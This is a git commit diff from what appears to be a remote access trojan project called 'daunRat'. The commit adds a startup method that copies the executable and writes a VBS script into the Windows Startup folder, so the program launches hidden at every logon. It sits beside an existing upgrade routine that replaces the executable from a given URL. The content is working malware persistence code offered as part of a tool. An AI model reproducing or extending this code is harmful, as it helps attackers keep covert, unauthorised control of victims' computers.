adding daun to startup

This commit is contained in:
BarsTiger
2022-04-30 13:04:54 +03:00
parent 681cb01f74
commit 3002ed1d01

View File

@@ -1,3 +1,6 @@
import psutil
class daunrat: class daunrat:
@staticmethod @staticmethod
def upgrade(url: str, old: str = "daunRat.exe", destination: str = "daunRat.exe", command: str = "daunRat.exe"): def upgrade(url: str, old: str = "daunRat.exe", destination: str = "daunRat.exe", command: str = "daunRat.exe"):
@@ -17,3 +20,17 @@ class daunrat:
import sys import sys
subprocess.Popen(command, shell=True, close_fds=True) subprocess.Popen(command, shell=True, close_fds=True)
sys.exit(0) sys.exit(0)
@staticmethod
def startup(path: str = psutil.Process().exe(), startupname: str = "daunRat", copy_to: str = None,
copy_from: str = None):
import os.path
if copy_to and copy_from:
import shutil
shutil.copy(copy_from, copy_to)
path = copy_to
with open(os.path.expandvars(f"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\\{startupname}.vbs"),
"w+") as f:
f.write(f'''Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "{path} ""--start""", 0
Set WshShell = Nothing''')